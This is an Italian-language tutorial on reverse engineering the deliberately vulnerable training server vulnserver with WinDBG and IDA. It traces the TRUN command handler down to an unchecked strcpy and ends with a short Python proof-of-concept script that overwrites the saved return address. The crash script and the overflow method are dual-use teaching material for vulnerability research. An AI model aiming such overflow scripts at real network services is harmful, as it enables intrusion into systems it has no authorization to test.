Reverse Engineering di un eseguibile - Vulnserver

Tempo di lettura: 17 minuti
Data pubblicazione: November 7, 2022

Introduzione

Il Reverse engineering indica l’analisi delle funzioni, dell’impiego e della modellazione di un software. Di fatto è l’atto di scomporre un software al fine di capirne il funzionamento senza avere però il codice sorgente.

Il software che utilizzeremo come esempio è vulnserver, software che abbiamo già visto in altri articoli. Senza utilizzare le informazioni online, analizzeremo manualmente il software con WinDBG e IDA al fine di trovare una vulnerabilità in esso.

Per poter fare Reverse Engineering è necessario avere diverse basi, che non tratterrò in questo articolo. Tempo fa ho scritto un articolo su IDA, mentre WinDBG ne abbiamo approfondito ogni aspetto nella serie Buffer Overflow. Per chi volesse approfondire, consiglio anche i seguenti libri.

Porte in ascolto

Una volta che viene eseguito il programma, vediamo con TCPView che è in ascolto sulla porta 9999. Ciò significa che proabilmente accetta connessioni in entrata ed uscita.

Sebbene in questo caso è stato immediato capire quali comandi accetta, certi eseguibili utilizzano protocolli proprietari per comunicare e non è cosi immediato capire quali comandi (o byte accetta). A volte potrebbe essere necessario eseguire Wireshark, sniffare una comunicazione “benigna” (magari eseguendo qualche operazione sul programma) e ricrearla successivamente per poter trovare vulnerabilità.

Identificare entry point

Una delle prime azioni da fare è trovare la funzione che effettua il parsing dei comandi inviati (HELP, STATS, etc) in modo da analizzare il flusso. Per farlo, possiamo eseguire WinDBG, allegare vulnserver e cercare quali moduli utililizzano la funzione recv, ossia la ricezione di byte via rete.

0:004> x *!recv
75305e40          KERNELBASE!recv (void)
762123a0          WS2_32!recv (void)

Mettiamo un breakpoint sulla seconda funzione e continuiamo l’esecuzione di vulnserver

0:000> bp WS2_32!recv
0:000> bl
    0 e Disable Clear  759d23a0     0001 (0001)  0:**** WS2_32!recv
0:000> g

Creo poi uno script di base inviando 500 A.

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 500  # change me

payload = b"A" * CRASH_LEN

with socket.create_connection(target) as sock:
    sock.recv(512) 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Atterriamo sul breakpoint e guardando lo stack pointer possiamo vedere i parametri passati alla funzione recv.

0:000> g
ModLoad: 74840000 74896000   C:\Windows\system32\mswsock.dll
Breakpoint 0 hit
eax=000000d0 ebx=000000d0 ecx=00000002 edx=77102740 esi=00401848 edi=00401848
eip=759d23a0 esp=00dbf9c4 ebp=00dbff70 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
WS2_32!recv:
759d23a0 8bff            mov     edi,edi

0:003> dd esp L5
00dbf9c4  00401958 000000d0 00bb3558 00001000
00dbf9d4  00000000 

Dallo Stack Pointer possiamo notare che:

  1. 00dbf9c4 è l’indirizzo appartenente a vuln server su cui la funzione ritornerà
  2. 00dbf9c8 è il file descriptor
  3. 00dbf9cc punta al nostro buffer (00bb3558)
  4. 00dbf9d0 indica la grandezza del buffer
  5. 00dbf9d4 sono flag aggiuntive

Infatti guardando la funzione recv è composta da questi parametri:

int recv(
[in]  SOCKET s,
[out] char   *buf,
[in]  int    len,
[in]  int    flags
);

Andando avanti con il comando pt (fino al return della funzione) possiamo confermare i nostri dubbi e vedere il contenuto del buffer (00bb3558)

0:003> pt
eax=000001f4 ebx=000000d0 ecx=00000002 edx=00dbf9ac esi=00401848 edi=00401848
eip=759d24c9 esp=00dbf9c4 ebp=00dbff70 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
WS2_32!recv+0x129:
759d24c9 c21000          ret     10h

0:003> dd 00bb3558 L10
00bb3558  41414141 41414141 41414141 41414141
00bb3568  41414141 41414141 41414141 41414141
00bb3578  41414141 41414141 41414141 41414141
00bb3588  41414141 41414141 41414141 41414141

0:003> p
eax=000001f4 ebx=000000d0 ecx=00000002 edx=00dbf9ac esi=00401848 edi=00401848
eip=00401958 esp=00dbf9d8 ebp=00dbff70 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vulnserver+0x1958:
00401958 83ec10          sub     esp,10h

Essendo usciti dalla funzione recv, siamo ora all’interno di vulnserver (vulnserver+0x1958). Ciò che si può fare per semplificare l’analisi è allineare IDA con il base address del modulo di vulnserver in modo da poter analizzare il binario contemporaneamente con IDA e WinDBG.

Allinearsi con IDA

Per verificare dove siamo in IDA, bisogna fare prima il rebase del programma (Edit -> segment -> rebase program) inserendo l’indirizzo che troviamo guardando il base address

0:003> lm m vulnserver
Browse full module list
start    end        module name
00400000 00407000   vulnserver   (no symbols)    

Saltiamo alla funzione su cui siamo atterrati una volta finita la recv con G

00401958 83ec10          sub     esp,10h

E ci troviamo alla stessa funzione che si vede in WindBG.

Questa funzione si divide in due:

  1. A destra se è stato inviato un comando non riconosciuto (e infatti vediamo HELP come output)
  2. A sinistra nel caso di una socket vuota o con errori.

Poiché noi abbiamo inviato 500 A, andremo a destra.

Proviamo a vedere passo passo su WinDBG cosa succede

0:004> p
eax=000001f4 ebx=000000cc ecx=00000002 edx=0100f9ac esi=00401848 edi=00401848
eip=0040195b esp=0100f9c8 ebp=0100ff70 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
vulnserver+0x195b:
0040195b 8985f0fbffff    mov     dword ptr [ebp-410h],eax ss:0023:0100fb60=0100fb1c

0:004> p
eax=000001f4 ebx=000000cc ecx=00000002 edx=0100f9ac esi=00401848 edi=00401848
eip=00401961 esp=0100f9c8 ebp=0100ff70 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
vulnserver+0x1961:
00401961 83bdf0fbffff00  cmp     dword ptr [ebp-410h],0 ss:0023:0100fb60=000001f4

0:004> p
eax=000001f4 ebx=000000cc ecx=00000002 edx=0100f9ac esi=00401848 edi=00401848
eip=00401968 esp=0100f9c8 ebp=0100ff70 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
vulnserver+0x1968:
00401968 0f8e480b0000    jle     vulnserver+0x24b6 (004024b6)            [br=0]

Le assunzioni sono corrette, passiamo al branch di destra (br=0).

Continuando l’esecuzione con WinDBG vediamo che nel prossimo branch invece andiamo a sinistra e perdiamo il flusso che vorremmo seguire

0:004> p
eax=fffffff9 ebx=000000cc ecx=00000048 edx=00000000 esi=00401848 edi=00401848
eip=0040198b esp=0100f9c8 ebp=0100ff70 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
vulnserver+0x198b:
0040198b 7549            jne     vulnserver+0x19d6 (004019d6)            [br=1]

0:004> p
eax=fffffff9 ebx=000000cc ecx=00000048 edx=00000000 esi=00401848 edi=00401848
eip=004019d6 esp=0100f9c8 ebp=0100ff70 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
vulnserver+0x19d6:
004019d6 c744240804000000 mov     dword ptr [esp+8],4 ss:0023:0100f9d0=00000005

Questo perché il nostro buffer viene comparato con la stringa “HELP”. Aggiorno quindi lo script inserendo “HELP” e rilancio mettendo un breakpoint su 0x4019D6

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) 

payload = b"HELP"

with socket.create_connection(target) as sock:
    received = sock.recv(512) 
    print(received)
    sent = sock.send(payload)
    received = sock.recv(512) 
    print(received)

Ora siamo nel blocco in cui volevamo arrivare.

Le operazioni che fa sono molto simili a quelle di prima, ossia compara se il buffer è uguale alla stringa “HELP”. Se lo è, l’operazione “test eax, eax” setta la ZF a 1 e va al branch di sinistra (questo perché JNZ salta all’indirizzo solo se la ZF vale 0) altrimenti andrà a destra.

Ricerca del flusso

Ora che abbiamo più o meno capito come funziona e dove ci troviamo con IDA, proviamo ad osservare il quadro generale della struttura del codice. Ciò che vediamo nel grafico è un semplice if else sulla base dei comandi che inviamo.

In pseudo codice potrebbe essere all’incirca fatto in questo modo

if (comando_inviato == "HELP") {
    //esegui questa funzione
} else if (comando_inviato == "STATS") {
    //esegui quest'altra funzione
} else if (comando_inviato == "TRUN") {
    //esegui questa funzione
} else if ....

Per capire dove si potrebbe trovare una vulnerabilità è sufficiente analizzare i vari branch contenenti i comandi, in modo tale da trovare qualche operazione che ci potrebbe interessare.

La prima funzione che accetta input dell’utente è TRUN, per cui partiremo da lei.

Metto un breakpoint su quel branch, aggiorno lo script inserendo il comando TRUN con qualche A e inviamo

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 5  # change me

payload = b"TRUN " 
payload += b"A" * CRASH_LEN

with socket.create_connection(target) as sock:
    received = sock.recv(512) 
    print(received)
    sent = sock.send(payload)
    received = sock.recv(512) 
    print(received)

Come prima, viene fatto un controllo sul comando inviato, se la ZF = 1 andrà nel branch negativo

0:003> p
eax=00000000 ebx=000000d4 ecx=004043f8 edx=00000005 esi=00401848 edi=00401848
eip=00401cf8 esp=00eaf9c8 ebp=00eaff70 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vulnserver+0x1cf8:
00401cf8 0f85dc000000    jne     vulnserver+0x1dda (00401dda)            [br=0]

0:003> p
eax=00000000 ebx=000000d4 ecx=004043f8 edx=00000005 esi=00401848 edi=00401848
eip=00401cfe esp=00eaf9c8 ebp=00eaff70 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vulnserver+0x1cfe:
00401cfe c70424b80b0000  mov     dword ptr [esp],0BB8h ss:0023:00eaf9c8=00713558

Questo blocco sembra esser necessario solo ad allocare 3000 bytes (0BB8h) di memoria, quindi passiamo al prossimo sia con WinDBG che con IDA

0:003> 
eax=00714968 ebx=000000d4 ecx=00000000 edx=00000030 esi=00401848 edi=00401848
eip=00401d38 esp=00eaf9c8 ebp=00eaff70 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
vulnserver+0x1d38:
00401d38 8b85e8fbffff    mov     eax,dword ptr [ebp-418h] ss:0023:00eafb58=00000005

0:003> dd ebp-418h L1
00eafb58  00000005 

0:003> r
eax=00714968 ebx=000000d4 ecx=00000000 edx=00000030 esi=00401848 edi=00401848
eip=00401d38 esp=00eaf9c8 ebp=00eaff70 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
vulnserver+0x1d38:
00401d38 8b85e8fbffff    mov     eax,dword ptr [ebp-418h] ss:0023:00eafb58=00000005

0:003> p
eax=00000005 ebx=000000d4 ecx=00000000 edx=00000030 esi=00401848 edi=00401848
eip=00401d3e esp=00eaf9c8 ebp=00eaff70 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
vulnserver+0x1d3e:
00401d3e 3b45f4          cmp     eax,dword ptr [ebp-0Ch] ss:0023:00eaff64=00001000

0:003> dd ebp-0Ch L1
00eaff64  00001000

0:003> p
eax=00000005 ebx=000000d4 ecx=00000000 edx=00000030 esi=00401848 edi=00401848
eip=00401d41 esp=00eaf9c8 ebp=00eaff70 iopl=0         nv up ei ng nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000287
vulnserver+0x1d41:
00401d41 7d45            jge     vulnserver+0x1d88 (00401d88)            [br=0]

In questo caso è un controllo per verificare se il contenuto del puntatore ebp-418h (che vale 5) è minore di del contenuto del puntatore ebp-0Ch (che vale 1000). Sembra essere l’inizio di un ciclo for, siamo appena entrati quindi si passa direttamente al branch a destra.

0:003> p
eax=00000005 ebx=000000d4 ecx=00000000 edx=00000030 esi=00401848 edi=00401848
eip=00401d43 esp=00eaf9c8 ebp=00eaff70 iopl=0         nv up ei ng nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000287
vulnserver+0x1d43:
00401d43 8b45f0          mov     eax,dword ptr [ebp-10h] ss:0023:00eaff60=00713558

0:003> dd ebp-10h L1
00eaff60  00713558
0:003> da 00713558
00713558  "TRUN AAAAA"

0:003> p
eax=00713558 ebx=000000d4 ecx=00000000 edx=00000030 esi=00401848 edi=00401848
eip=00401d46 esp=00eaf9c8 ebp=00eaff70 iopl=0         nv up ei ng nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000287
vulnserver+0x1d46:
00401d46 0385e8fbffff    add     eax,dword ptr [ebp-418h] ss:0023:00eafb58=00000005
0:003> dd ebp-418h L1
00eafb58  00000005
0:003> r eax
eax=00713558

0:003> p
eax=0071355d ebx=000000d4 ecx=00000000 edx=00000030 esi=00401848 edi=00401848
eip=00401d4c esp=00eaf9c8 ebp=00eaff70 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
vulnserver+0x1d4c:
00401d4c 80382e          cmp     byte ptr [eax],2Eh         ds:0023:0071355d=41

0:003> r eax
eax=0071355d
0:003> ? 0071355d - 00713558
Evaluate expression: 5 = 00000005
0:003> dd eax L1
0071355d  41414141

0:003> p
eax=0071355d ebx=000000d4 ecx=00000000 edx=00000030 esi=00401848 edi=00401848
eip=00401d4f esp=00eaf9c8 ebp=00eaff70 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
vulnserver+0x1d4f:
00401d4f 752d            jne     vulnserver+0x1d7e (00401d7e)            [br=1]

Ora invece viene comparato il primo byte alla 5° posizione del mio buffer (quindi la prima A). Se è uguale al “.” (2E in HEX) si va al branch a destra, altrimenti a sinistra. Andando a sinistra, vediamo che farà un for loop senza fare nulla e poi uscirà dal programma. Poiché a noi interessa raggiungere il branch ancora più interno, ora sappiamo che in 5° posizione ci vuole un punto. Aggiorniamo lo script, mettiamo breakpoint in posizione 00401D38 e riavviamo

0:004> p
eax=00df4968 ebx=000000cc ecx=00000000 edx=00414141 esi=00401848 edi=00401848
eip=00401d74 esp=00fff9c8 ebp=00ffff70 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vulnserver+0x1d74:
00401d74 890424          mov     dword ptr [esp],eax  ss:0023:00fff9c8=00df4968

0:004> p
eax=00df4968 ebx=000000cc ecx=00000000 edx=00414141 esi=00401848 edi=00401848
eip=00401d77 esp=00fff9c8 ebp=00ffff70 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vulnserver+0x1d77:
00401d77 e88cfaffff      call    vulnserver+0x1808 (00401808)

0:004> t
eax=00df4968 ebx=000000cc ecx=00000000 edx=00414141 esi=00401848 edi=00401848
eip=00401808 esp=00fff9c4 ebp=00ffff70 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vulnserver+0x1808:
00401808 55              push    ebp

Mentre la strncpy semplicemente copia il nostro buffer dentro un nuovo spazio di memoria (sebbene anche la strncpy non sia sicura), proviamo ad entrare nella Function3 per osservarne il funzionamento (con il comando t in WinDBG si fa Step Into, ossia uno step dentro la funzione. Se avessimo inviato p avrebbe fatto Step Over e l’avrebbe saltata).

....

0:003> p
eax=00d2f1e8 ebx=000000d4 ecx=00000000 edx=00414141 esi=00401848 edi=00401848
eip=00401821 esp=00d2f1d8 ebp=00d2f9c0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
vulnserver+0x1821:
00401821 e8a2150000      call    vulnserver+0x2dc8 (00402dc8)

Con WinDBG mi fermo alla strcpy e analizzo cosa contiene la memoria. Per prima cosa guardiamo lo stack, poiché la funzione strcpy è composta in questo modo:

char *strcpy(
    char *strDestination,
    const char *strSource
);

Sullo stack dovremmo avere un primo indirizzo con la destinazione e un secondo con la source.

0:003> dd esp L2
00d2f1d8  00d2f1e8 00b26938

0:003> dc poi(esp+4)
00b26938  4e555254 41412e20 00414141 00000000  TRUN .AAAAA.....
00b26948  00000000 00000000 00000000 00000000  ................
00b26958  00000000 00000000 00000000 00000000  ................
00b26968  00000000 00000000 00000000 00000000  ................
00b26978  00000000 00000000 00000000 00000000  ................
00b26988  00000000 00000000 00000000 00000000  ................
00b26998  00000000 00000000 00000000 00000000  ................
00b269a8  00000000 00000000 00000000 00000000  ................

E questo conferma che il contenuto di 00b26938 verrà copiato in 00d2f1e8. Ora per capire se abbiamo possibilità di sovrascrivere il return address, dobbiamo capire se :

  1. Siamo all’interno dello stack del programma
  2. Quanto spazio ci serve per sovrascriverlo.

Dumpiamo l’indirizzo di destinazione e con !teb vediamo se è dentro lo stack.

0:003> dd esp L1
00d2f1d8  00d2f1e8

0:003> !teb
TEB at 0031c000
    ExceptionList:        00d2ffcc
    StackBase:            00d30000
    StackLimit:           00d2f000

E il primo punto l’abbiamo confermato, 00d2f1e8 è tra StackBase e StackLimit. Successivamente analizziamo la call stack con k.

Lo stack delle chiamate è la catena di chiamate di funzione che ci ha portato alla posizione attuale. La funzione più in alto nello stack delle chiamate è la funzione corrente, quella successiva è la funzione che ha chiamato la funzione corrente e così via.

0:003> k
# ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00d2f9c0 00401d7c vulnserver+0x1821
01 00d2ff70 7587cf39 vulnserver+0x1d7c
02 00d2ff80 770926b5 KERNEL32!BaseThreadInitThunk+0x19
03 00d2ffdc 77092689 ntdll!__RtlUserThreadStart+0x2b
04 00d2ffec 00000000 ntdll!_RtlUserThreadStart+0x1b

Dumpiamo il contenuto di 00d2f9c0 per vedere dove si trova il return address.

0:003> dds 00d2f9c0 L2
00d2f9c0  00d2ff70
00d2f9c4  00401d7c vulnserver+0x1d7c

E facciamo la differenza tra il return address e l’inizio del buffer di destinazione (dove verrà copiato il nostro comando).

0:003> ? 00d2f9c4  - 00d2f1e8
Evaluate expression: 2012 = 000007dc

Quindi per poter sovrascrivere il return address dobbiamo inviare 2012 A + il comando “TRUN .”.

Aggiorniamo al volo l’exploit e verifichiamo!

Exploit

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 2012  # change me

payload = b"TRUN ." 
payload += b"A" * CRASH_LEN

with socket.create_connection(target) as sock:
    received = sock.recv(512) 
    print(received)
    sent = sock.send(payload)
    received = sock.recv(512) 
    print(received)

Metto il breakpoint allo stesso punto in cui ero prima ed eseguo

.....
0:003> p
eax=00d2f1e8 ebx=000000cc ecx=00000000 edx=00004141 esi=00401848 edi=00401848
eip=00401821 esp=00d2f1d8 ebp=00d2f9c0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
vulnserver+0x1821:
00401821 e8a2150000      call    vulnserver+0x2dc8 (00402dc8)

Controllo di nuovo lo stack per verificare che ci sia tutto.

0:003> dd esp L2
00d2f1d8  00d2f1e8 00b28908

0:003> dc 00b28908
00b28908  4e555254 41412e20 41414141 41414141  TRUN .AAAAAAAAAA
00b28918  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00b28928  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00b28938  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00b28948  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00b28958  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00b28968  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00b28978  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

0:003> dc 00d2f1e8 
00d2f1e8  00000000 00000000 00000000 00000000  ................
00d2f1f8  00000000 00000000 00000000 00000000  ................
00d2f208  00000000 00000000 00000000 00000000  ................
00d2f218  00000000 00000000 00000000 00000000  ................
00d2f228  00000000 00000000 00000000 00000000  ................
00d2f238  00000000 00000000 00000000 00000000  ................
00d2f248  00000000 00000000 00000000 00000000  ................
00d2f258  00000000 00000000 00000000 00000000  ................

La call stack è ancora uguale a prima, questo perché la strcpy non è ancora stata eseguita.

0:003> k
# ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00d2f9c0 00401d7c vulnserver+0x1821
01 00d2ff70 7587cf39 vulnserver+0x1d7c
02 00d2ff80 770926b5 KERNEL32!BaseThreadInitThunk+0x19
03 00d2ffdc 77092689 ntdll!__RtlUserThreadStart+0x2b
04 00d2ffec 00000000 ntdll!_RtlUserThreadStart+0x1b
0:003> dds 00d2f9c0 L2
00d2f9c0  00d2ff70
00d2f9c4  00401d7c vulnserver+0x1d7c

Faccio quindi uno step aggiuntivo

0:003> p
eax=00d2f1e8 ebx=000000cc ecx=00b290ec edx=00004141 esi=00401848 edi=00401848
eip=00401826 esp=00d2f1d8 ebp=00d2f9c0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vulnserver+0x1826:
00401826 c9              leave

0:003> k
# ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00d2f9c0 41414141 vulnserver+0x1826
01 00d2fa5c 770ab94c 0x41414141
02 00d2fb10 748533dc ntdll!RtlpAllocateHeapInternal+0x13fc
03 00d2fb68 00000000 mswsock!__DllMainCRTStartup+0x8c

0:003> dds 00d2f9c0 L2
00d2f9c0  41414141
00d2f9c4  41414141

Ed ecco che abbiamo sovrascritto con successo il return address! Possiamo confermarlo continuando l’esecuzione:

Ora che è stato sovrascritto EIP basterà creare un exploit ad hoc sulla base delle protezioni e dei limiti dell’eseguibile. Per chi volesse approfondire ho scritto un'articolo a riguardo.

Conclusioni

La capacità di effettuare il Reverse Engineering in maniera statica e dinamica è un ottimo modo per identificare gli entry point di un eseguibile e trovare eventuali vulnerabilità. Altri articoli che possono aiutare:

  1. Reverse Engineering Vulnserver for SEH Overflow
  2. Vulnserver Redux 1: Reverse Engineering TRUN
  3. Reverse Engineering Network Protocols
  4. Attacking Network Protocols
  5. Practical Reverse Engineering